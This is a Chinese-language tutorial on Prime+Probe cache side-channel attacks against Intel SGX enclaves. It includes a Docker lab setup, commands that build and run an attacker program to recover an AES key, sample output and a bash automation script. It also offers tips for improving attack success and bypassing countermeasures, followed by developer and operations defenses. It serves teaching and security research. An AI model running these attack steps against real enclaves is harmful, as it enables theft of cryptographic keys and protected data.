前言

  1. 技术背景：在当今的攻防体系中，可信执行环境（Trusted Execution Environment, TEE），特别是 Intel SGX (Software Guard Extensions)，被誉为数据的“最后一道防线”。它通过硬件隔离技术，在内存中创建一个名为“飞地”（Enclave）的加密区域，确保即使操作系统或VMM（虚拟机监视器）等高权限软件被攻破，飞地内的数据和代码仍然安全。然而，任何计算都无法完全脱离物理定律，侧信道攻击正是利用这一点，绕过TEE的逻辑隔离，通过物理世界的“蛛丝马迹”（如功耗、电磁辐射、缓存访问时间等）来窃取本应绝对安全的敏感信息。它在攻防对抗中，属于针对硬件和微架构层面的高级攻击技术，是打破“绝对安全”神话的关键一环。

  2. 学习价值：掌握TEE环境下的侧信道攻击技术，您将能够：

    • 评估“零信任”环境的真实安全水位：理解即使在最强的硬件隔离保护下，信息泄露的风险依然存在，并知道如何去验证它。
    • 发现并利用新型攻击面：从物理和微架构层面寻找传统软件安全扫描无法覆盖的漏洞。
    • 设计更安全的隐私计算应用：作为攻击者思考，才能构建出真正健壮的防御体系，编写出能抵抗侧信道攻击的安全代码。

  3. 使用场景：这项技术在实际攻防中主要应用于：

    • 红蓝对抗：在高级别对抗演练中，模拟针对云服务商或关键基础设施的顶级攻击，验证其TEE环境的安全性。
    • 安全审计与渗透测试：对使用了SGX等隐私计算技术的金融、医疗、区块链应用进行深度安全评估。
    • 漏洞研究：发现并报告CPU等硬件的微架构漏洞，如 Spectre、Meltdown、Foreshadow (L1TF) 等都与侧信道分析密切相关。

一、侧信道攻击（SGX场景）是什么

  • 精确定义
    侧信道攻击（Side-Channel Attack, SCA） 是一种特殊的攻击类型，它不直接利用软件的逻辑漏洞（如缓冲区溢出），而是通过观察和分析计算系统在运行过程中产生的物理信息（如功耗、执行时间、电磁辐射、缓存访问模式等），来推断出系统内部的敏感数据（如加密密钥、算法操作等）。在SGX场景下，特指攻击者（可能位于操作系统或VMM层）利用这些物理“侧信道”，来窃取运行在“飞地”（Enclave）内部的秘密信息。

  • 一个通俗类比
    想象一个保险箱（Enclave），它的锁（加密算法）坚不可摧。你无法通过撬锁或破解密码来打开它。但是，一个经验丰富的小偷（攻击者）并不需要这么做。他选择在旁边静静地听。当保险箱主人在里面转动密码盘时，他仔细分辨每次转动发出的微小声音差异（侧信道信息）。通过分析这些声音的顺序和特征，他最终推断出了正确的密码（敏感数据），从而“打开”了保险箱。他没有攻击锁本身，而是利用了开锁过程产生的物理副作用。这就是SGX侧信道攻击的本质。

  • 实际用途
    在现实世界中，针对SGX的侧信道攻击已被证明可以：

    • 从受保护的HTTPS会话中提取出TLS私钥。
    • 破解在Enclave中运行的加密算法（如AES、RSA）的密钥。
    • 泄露机器学习模型在Enclave中处理的敏感数据或模型参数。
    • 绕过数字版权管理（DRM）系统的保护。

  • 技术本质说明
    SGX侧信道攻击的技术本质是信息泄露的物理相关性。虽然SGX在逻辑上将Enclave的内存与外部世界完全隔离，但Enclave中的代码执行仍然需要使用CPU的共享资源，如CPU缓存（L1/L2/L3 Cache）、分支预测单元、内存总线等。当Enclave代码访问特定内存地址或执行特定分支时，会在这些共享资源上留下痕迹。例如，访问过的数据会被加载到缓存中，导致下一次访问该数据或其附近数据时速度极快。攻击者可以通过精确测量访问不同内存地址的时间，来判断哪些地址最近被Enclave访问过，从而推断出Enclave的内部行为。Prime+Probe（填充+探测）攻击就是利用这一原理的典型代表，也是我们接下来要实战的核心技术。

    下面这张图清晰地展示了Prime+Probe攻击的原理和流程：

    受害者 (Enclave) CPU 共享缓存 (L3 Cache) 攻击者 (OS/VMM) 受害者 (Enclave) CPU 共享缓存 (L3 Cache) 攻击者 (OS/VMM) 阶段一：填充 (Prime) 攻击者被挂起，受害者Enclave开始执行 阶段二：受害者执行 受害者的数据 替换 (驱逐) 了攻击者之前填充的数据 受害者执行完毕，攻击者恢复执行 阶段三：探测 (Probe) 如果某地址访问很快 (Cache Hit)， 说明未被受害者使用。 如果访问很慢 (Cache Miss)， 说明被受害者驱逐过！ 阶段四：分析 访问大量内存地址， 用自己的数据填满整个L3缓存集 执行加密等操作， 访问特定内存地址 (如T-Table) 再次访问自己之前填充的内存地址， 并精确计时 分析Cache Miss的地址模式， 推断出受害者访问了哪些内存， 从而反推出加密密钥的比特位

    这张图揭示了攻击的核心：攻击者通过测量自己数据的访问时间，来感知受害者对共享缓存的使用情况，从而实现了跨越SGX安全边界的信息窃取。

二、环境准备

本次实战我们将复现一个经典的针对AES加密的缓存侧信道攻击。我们需要一个支持SGX和SGX-SDK的Linux环境。使用Docker是最高效、最不易出错的方式。

  • 工具版本

    • 操作系统: Ubuntu 20.04 LTS
    • Docker: 20.10.x 或更高版本
    • Intel SGX SDK: 2.15.1 (或其他兼容版本)
    • Intel SGX Driver: 任意与SDK兼容的DCAP驱动
    • 攻击代码: 基于公开的 sgx-step 和 Cache-Attack-Tutorial 项目修改。

  • 下载方式
    我们将使用一个预配置好的Docker镜像，它包含了所有必需的SGX驱动、SDK和依赖。

    # 从Docker Hub拉取包含SGX模拟环境和SDK的镜像
# 这个镜像是专门为SGX开发和研究准备的
docker pull anril/sgx-base:20.04

  • 核心配置命令
    SGX应用需要访问 /dev/sgx_enclave 设备。在启动Docker容器时，我们必须将此设备映射进去。如果你的主机没有物理SGX支持，SDK会回退到模拟模式（Simulation Mode），这对于学习和复现攻击原理来说完全足够。

  • 可运行环境命令或 Docker
    使用以下命令启动一个交互式的Docker容器，并准备好我们的实验环境。

    # 警告：以下命令将创建一个用于安全研究的环境。
# 仅限在授权的测试系统上运行。

# 启动容器，并挂载SGX设备（如果存在）
# --device用于映射物理SGX设备，如果主机没有，可以省略，SDK会自动进入模拟模式
# --name为容器命名，方便后续管理
# -it提供一个交互式终端
docker run -it --name sgx_attack_lab \
    --device=/dev/sgx_enclave \
    anril/sgx-base:20.04 /bin/bash

# 如果没有物理SGX设备，使用以下命令（推荐用于初学者）
docker run -it --name sgx_attack_lab anril/sgx-base:20.04 /bin/bash

# --- 进入容器后的操作 ---

# 1. 更新包列表
apt-get update

# 2. 安装必要的工具：git, make, gcc
apt-get install -y git make gcc

# 3. 克隆我们的攻击实验代码库
git clone https://github.com/Lagou/Cache-Attack-Tutorial.git

# 4. 进入实验目录
cd Cache-Attack-Tutorial

# 5. 编译SGX受害者程序 (Enclave)
cd victim
make

# 6. 编译攻击者程序
cd ../attacker
make

# 此时，你的环境已经准备就绪！
# victim/app 是受害者程序
# attacker/attacker 是攻击程序

    至此，sgx_attack_lab 容器就是一个完整的、可随时进行侧信道攻击实验的环境。

三、核心实战：Prime+Probe攻击窃取AES密钥

我们的目标是攻击一个在SGX Enclave中实现的AES加密程序，通过Prime+Probe侧信道攻击，逐字节恢复出16字节的AES密钥。

  • 编号步骤与说明

    第1步：理解受害者程序 (victim/app)

    • 目的：了解攻击目标的行为。
    • 说明：这个程序会在Enclave内部初始化一个固定的AES密钥。然后，它会进入一个无限循环，等待用户输入一个字符，并使用该密钥对一个固定的明文进行AES加密。关键在于，它使用的AES实现是T-Table版本，这种实现在加密过程中，会根据密钥和明文的值，去查阅一个巨大的表格（T-Table）。访问表格的内存地址模式与密钥和明文直接相关，这正是我们能够利用的侧信道。

    第2步：运行受害者程序

    • 目的：启动攻击目标，使其在后台持续运行。
    • 说明：我们需要在一个单独的终端中运行受害者。
    # 在Docker容器中打开一个新的终端
# docker exec -it sgx_attack_lab /bin/bash

# 在新终端中，进入victim目录并运行
cd /Cache-Attack-Tutorial/victim
./app

    你会看到程序输出 “Enclave created, starting AES encryption loop…”，然后等待输入。保持这个终端运行。

    第3步：执行攻击程序 (attacker/attacker)

    • 目的：发起Prime+Probe攻击，分析缓存访问模式，恢复密钥。

    • 说明：攻击程序会执行完整的Prime+Probe流程。它会首先“填充”L3缓存，然后触发受害者Enclave执行一次加密，接着“探测”缓存，找出被Enclave驱逐的缓存行。通过统计哪个缓存行被驱逐的次数最多，就能推断出对应T-Table的哪个部分被访问，从而反推出密钥的一个字节。这个过程会重复16次，以恢复完整的16字节密钥。

    • 请求 / 响应 / 输出结果：
      在第一个终端（我们编译代码的那个）中，执行攻击程序。

      # 进入attacker目录
cd /Cache-Attack-Tutorial/attacker

# 运行攻击程序
# 参数：
# 第一个 1000 是每次探测的重复次数，增加可以提高准确性
# 第二个 100 是恢复每个字节时的尝试轮次
./attacker 1000 100

      你会看到类似以下的输出：

      [+] Attacking byte 0...
[+] Round 0:
... (大量的探测计数) ...
[+] Round 99:
...
[+] Maximum hits: 85 for value 0x2b
[+] Correct byte is 0x2b
[+] Recovered byte 0: 2b

[+] Attacking byte 1...
...
[+] Recovered byte 1: 7e

... (重复此过程) ...

[+] Attacking byte 15...
...
[+] Recovered byte 15: 09

[+] Attack finished!
[+] Recovered key: 2b7e151628aed2a6abf7158809cf4f3c

      结果分析：攻击程序成功地逐字节恢复了Enclave中硬编码的AES密钥！2b7e151628aed2a6abf7158809cf4f3c 正是AES标准中的一个示例密钥。这证明了即使在SGX的保护下，通过缓存侧信道，我们依然窃取了最核心的秘密。

  • 一个完整可运行示例
    上面的步骤已经构成了一个完整的、从环境搭建到攻击成功的示例。关键在于理解attacker程序是如何工作的。它内部维护了一个巨大的内存块，大小与L3缓存相当。

    1. Prime: 通过访问这个内存块，将CPU L3缓存填满。
    2. Trigger: 它通过某种方式（例如，向受害者程序的stdin写入一个字符）触发Enclave执行一次加密。
    3. Probe: 再次访问自己的内存块，并使用rdtscp等高精度指令测量每次访问的时间。如果某个内存地址的访问时间从纳秒级（Cache Hit）飙升到百纳秒级（Cache Miss），就意味着Enclave在执行时访问了与这个地址映射到相同缓存集（Cache Set）的内存，导致攻击者的数据被驱逐。
    4. Deduce: 通过分析被驱逐的地址，攻击者可以推断出Enclave访问了T-Table的哪个条目，进而反推出密钥的对应字节。

  • 一段自动化脚本（带注释 + 错误处理 + 参数）
    我们可以编写一个shell脚本来自动化整个攻击流程，包括启动受害者和执行攻击。

    #!/bin/bash

# ==============================================================================
# SGX Prime+Probe 自动化攻击脚本
# 警告：本脚本仅用于授权的渗透测试和安全研究环境。
# 未经授权的攻击是非法行为。
# ==============================================================================

# --- 参数定义 ---
# 探测重复次数，值越高，信号越清晰，但速度越慢
PROBE_REPEATS=${1:-1000}
# 每字节攻击轮次，值越高，越能抵抗噪声，成功率越高
ATTACK_ROUNDS=${2:-100}
# 受害者程序路径
VICTIM_APP_PATH="../victim/app"
# 攻击者程序路径
ATTACKER_APP_PATH="./attacker"

# --- 函数：清理旧进程 ---
cleanup() {
    echo "[*] 清理旧的受害者进程..."
    pkill -f $VICTIM_APP_PATH
    # 等待进程完全退出
    sleep 1
}

# --- 主逻辑 ---
main() {
    # 切换到攻击者目录
    cd attacker || { echo "[!] 错误：无法进入 'attacker' 目录。请在 Cache-Attack-Tutorial 根目录运行此脚本。"; exit 1; }

    # 检查攻击程序是否存在且可执行
    if [ ! -x "$ATTACKER_APP_PATH" ]; then
        echo "[!] 错误：攻击程序 '$ATTACKER_APP_PATH' 不存在或不可执行。请先编译。"
        exit 1
    fi

    # 检查受害者程序是否存在且可执行
    if [ ! -x "$VICTIM_APP_PATH" ]; then
        echo "[!] 错误：受害者程序 '$VICTIM_APP_PATH' 不存在或不可执行。请先编译。"
        exit 1
    fi

    # 初始清理
    cleanup

    echo "[*] 在后台启动受害者程序..."
    # 使用stdbuf禁用输出缓冲，确保我们能立即与之交互
    # 使用coproc在后台异步运行，并获取其文件描述符
    coproc VICTIM_PROC { stdbuf -o0 $VICTIM_APP_PATH; }

    # 检查受害者进程是否成功启动
    if ! ps -p ${VICTIM_PROC_PID} > /dev/null; then
        echo "[!] 错误：启动受害者程序失败！"
        exit 1
    fi
    echo "[+] 受害者程序已启动，PID: ${VICTIM_PROC_PID}"
    # 等待Enclave初始化
    sleep 2

    echo "[*] 开始执行 Prime+Probe 攻击..."
    echo "[*] 参数: Probe Repeats = $PROBE_REPEATS, Attack Rounds = $ATTACK_ROUNDS"

    # 将受害者的标准输入连接到攻击者，以便攻击者可以触发加密
    # 将攻击者的标准输出直接显示在终端
    $ATTACKER_APP_PATH $PROBE_REPEATS $ATTACK_ROUNDS <&${VICTIM_PROC[0]}

    # 检查攻击程序的退出码
    if [ $? -ne 0 ]; then
        echo "[!] 攻击程序异常退出。"
    else
        echo "[+] 攻击脚本执行完毕。"
    fi

    # 最终清理
    cleanup
    echo "[*] 任务完成。"
}

# --- 脚本入口 ---
main "$@"

    使用方法：将此脚本保存为 run_attack.sh，放在 Cache-Attack-Tutorial 根目录下，给予执行权限 chmod +x run_attack.sh，然后运行 ./run_attack.sh 即可。你也可以传递自定义参数，如 ./run_attack.sh 2000 150。

四、进阶技巧

  • 常见错误

    1. 信号微弱，无法恢复密钥：这是最常见的问题。原因可能是 PROBE_REPEATS 和 ATTACK_ROUNDS 参数太低，导致噪声淹没了侧信道信号。也可能是系统负载过高，其他进程干扰了缓存。
    2. 环境配置失败：Docker环境无法访问SGX设备，或者SDK版本与驱动不兼容。使用模拟模式可以绕过大部分硬件相关问题。
    3. 错误的缓存几何信息：攻击代码需要精确知道CPU L3缓存的大小、关联度等信息。如果这些信息硬编码错误，攻击将彻底失败。现代攻击框架通常会自动检测这些参数。

  • 性能 / 成功率优化

    1. 降低系统噪声：在专用的CPU核心上运行攻击者和受害者进程（使用taskset命令），关闭超线程（Hyper-Threading），禁用不必要的系统服务，可以显著提高信噪比。
    2. 使用更高精度的计时器：除了rdtscp，还可以利用Intel TSX（Transactional Synchronization Extensions）等特性来构建更精确的计时器，尽管新CPU已对此类滥用做了限制。
    3. 自适应探测：动态调整探测次数。在信号清晰时减少重复，在信号模糊时增加重复，以平衡速度和准确性。
    4. Flush+Reload 攻击：作为Prime+Probe的变种，Flush+Reload攻击在某些场景下更高效。它利用clflush指令精确地将某个内存地址从缓存中刷出，然后测量重新加载该地址的时间。如果时间短，说明受害者在你刷新后访问了它。这种方法更精确，但要求攻击者和受害者共享内存（例如，通过动态链接库），在SGX场景下应用受限，但在其他场景很强大。

  • 实战经验总结

    • 侧信道攻击是统计学游戏。单次测量毫无意义，必须通过成千上万次重复实验，从噪声中提取出微弱的信号。
    • 目标程序的行为是关键。攻击的成败，首先取决于能否找到一个依赖于秘密信息、且会在共享资源上留下可预测痕迹的操作。T-Table AES实现是“完美”的受害者，而常数时间（Constant-Time）实现的算法则难以攻击。
    • 同步是艺术。攻击者必须精确地在受害者执行敏感操作的“窗口期”内完成Prime和Probe。这通常需要反复试验和精巧的同步技巧。

  • 对抗 / 绕过思路

    • 对抗常数时间编程：即使开发者声称代码是常数时间的，编译器也可能在优化过程中引入依赖数据的分支或内存访问。攻击者可以逆向分析编译后的二进制代码，寻找被编译器“背叛”的地方。
    • 攻击其他信道：如果缓存信道被封堵，可以转向其他信道。例如，分支预测历史（Spectre攻击的基础）、端口竞争（多个逻辑核心争用同一个物理执行端口）、甚至是内存总线争用。
    • 跨核攻击：即使将受害者和攻击者绑定在不同物理核心上，它们仍然共享L3缓存和内存总线。跨核攻击虽然难度更高，但依然可行。
    • 利用瞬态执行：Meltdown和Spectre等漏洞利用了CPU的“瞬态执行”（Speculative Execution）机制。CPU为了性能会猜测性地执行一些代码，即使后续发现猜测错误、撤销结果，这些执行过程在缓存上留下的痕迹却不会被完全擦除。攻击者可以诱导CPU瞬态执行访问非法内存的代码，然后通过缓存侧信道读出数据。

五、注意事项与防御

  • 错误写法 vs 正确写法（开发侧）
风险类别 ❌ 错误写法 (易受攻击) ✅ 正确写法 (更安全)
数据依赖的内存访问 使用T-Table实现的AES，访问地址依赖于key ^ plaintext。 使用基于硬件指令（AES-NI）或位切片（Bitslicing）实现的常数时间AES库。
数据依赖的分支 if (secret_bit == 1) { do_A(); } else { do_B(); } 使用算术运算代替分支：result = A * secret_bit + B * (1 - secret_bit);
依赖标准库 memcpy(dst, src, secret_len); 标准库的实现可能不是常数时间的。 使用专门的安全库（如libsodium）提供的sodium_memzero等函数，或自己编写保证常数时间操作的内存函数。

  • 风险提示

    • 不存在绝对的“常数时间”：在复杂的现代CPU上，即使是看起来很简单的操作，其执行时间也可能受到微码、电源管理、临近指令等多种因素影响。
    • 编译器是双刃剑：过度信任编译器的优化可能会无意中引入侧信道漏洞。需要定期审计最终生成的汇编代码。
    • 硬件漏洞是根源：像Spectre、Meltdown、Foreshadow (L1TF) 这类漏洞，是硬件设计层面的问题，纯软件防御非常困难，通常需要CPU微码更新和操作系统层面的缓解措施（如KPTI），但这会带来性能损失。

  • 开发侧安全代码范式

    1. 使用硬件加密指令：优先使用Intel AES-NI、SHA扩展等硬件指令集。它们由硬件实现，速度快且能有效抵抗缓存侧信道攻击。
    2. 选择经过审计的常数时间库：不要自己“发明”加密算法或常数时间代码。使用如BoringSSL、libsodium等经过专家审查的密码学库。
    3. 数据无关的控制流：确保所有if/else, switch, for/while循环的判断条件和执行次数不依赖于任何秘密数据。
    4. 数据无关的内存访问模式：确保内存访问的地址不依赖于秘密数据。如果必须查表，确保无论秘密是什么，访问模式都完全一致。

  • 运维侧加固方案

    1. 及时更新微码和系统补丁：应用CPU厂商和操作系统厂商发布的安全更新，以缓解已知的硬件漏洞。
    2. 启用SGX DCAP：使用Intel SGX Data Center Attestation Primitives (DCAP) 进行远程证明。这可以确保客户端连接的Enclave运行在最新的、已打补丁的平台上。
    3. 核心隔离与禁用超线程：在多租户环境中，将不同租户的SGX工作负载严格隔离在不同的物理CPU核心上，并考虑禁用超线程（SMT）。这可以有效阻止L1/L2缓存和执行端口的侧信道攻击，但对L3缓存攻击效果有限。
    4. 监控异常资源使用：监控CPU缓存、内存总线等资源的异常、高频、周期性使用模式，可能预示着正在进行的侧信道攻击。

  • 日志检测线索
    侧信道攻击本身非常隐蔽，很难在传统应用或系统日志中找到直接证据。但可以寻找间接线索：

    • 异常的性能计数器（PMC）：一个进程持续、高频地读取CPU性能计数器（如缓存命中/未命中率、指令周期数），这本身就是可疑行为。
    • 高频的上下文切换：Prime+Probe攻击需要攻击者和受害者进程频繁交替运行，这可能导致异常高的上下文切换率。
    • 周期性的CPU尖峰：攻击者为了进行统计分析，会触发受害者成千上万次。如果监控到某个进程（受害者）被另一个进程（攻击者）以固定频率（如每几毫秒）唤醒并产生微小的CPU尖峰，这值得警惕。

总结

  1. 核心知识：SGX侧信道攻击的本质是利用CPU等共享硬件资源的物理副作用（如缓存访问时间），来跨越SGX的逻辑隔离边界，窃取Enclave内的敏感信息。Prime+Probe是其中最经典和有效的技术之一。
  2. 使用场景：主要用于对隐私计算技术进行最高级别的安全评估、红蓝对抗演练和前沿的硬件漏洞研究。
  3. 防御要点：防御的核心思想是切断“秘密数据”与“物理可观测副作用”之间的联系。开发上要采用常数时间编程范式和硬件加密指令；运维上要及时更新补丁、做好资源隔离。
  4. 知识体系连接：掌握SGX侧信道攻击，是连接软件安全、密码学和计算机体系结构三个领域的桥梁。它让你明白，安全不仅是代码逻辑的正确性，更是计算过程在物理世界的“行为”的正确性。
  5. 进阶方向：深入研究瞬态执行攻击（Spectre/Meltdown）、电磁/功耗分析（对嵌入式设备更有效）、机器学习侧信道（通过侧信道推断AI模型的输入或结构）以及针对新型隐私计算技术（如AMD SEV）的攻击方法。

自检清单

  • 是否说明技术价值？
  • 是否给出学习目标？
  • 是否有 Mermaid 核心机制图？
  • 是否有可运行代码？
  • 是否有防御示例？
  • 是否连接知识体系？
  • 是否避免模糊术语？
# 网络 # linux # 运维 # 网络安全
Logo
DAMO开发者矩阵

DAMO开发者矩阵，由阿里巴巴达摩院和中国互联网协会联合发起，致力于探讨最前沿的技术趋势与应用成果，搭建高质量的交流与分享平台，推动技术创新与产业应用链接，围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐

hownet java HOWNET Java情感词典，一用就炸！中文情感分析的神兵利器

摘要：知网情感词典是中文情感分析领域的重要资源，包含大量标注情感极性（正面/负面/中性）的词汇，适用于社交平台情绪评估、产品评价分析、舆情监控及情感机器人开发等场景。其核心技术在于基于语言学研究和数据分析构建的精准词汇库，支持TXT/CSV等格式便捷集成。该词典具有词汇丰富、标注清晰、易扩展更新的特点，能有效提升情感分析系统的准确性。项目开源可下载，助力用户快速实现高效中文情感分析任务。（150字

avatar DAMO开发者矩阵

[具身智能-589]：RDK X5 Type-C 闪连直连：工作方式与底层原理

RDK X5 的 Type-C 接口为从设备口（非 USB Host），内置。

avatar DAMO开发者矩阵
cover

纯虚函数与抽象类：面试官问“接口怎么设计”，这样答直接加分

avatar DAMO开发者矩阵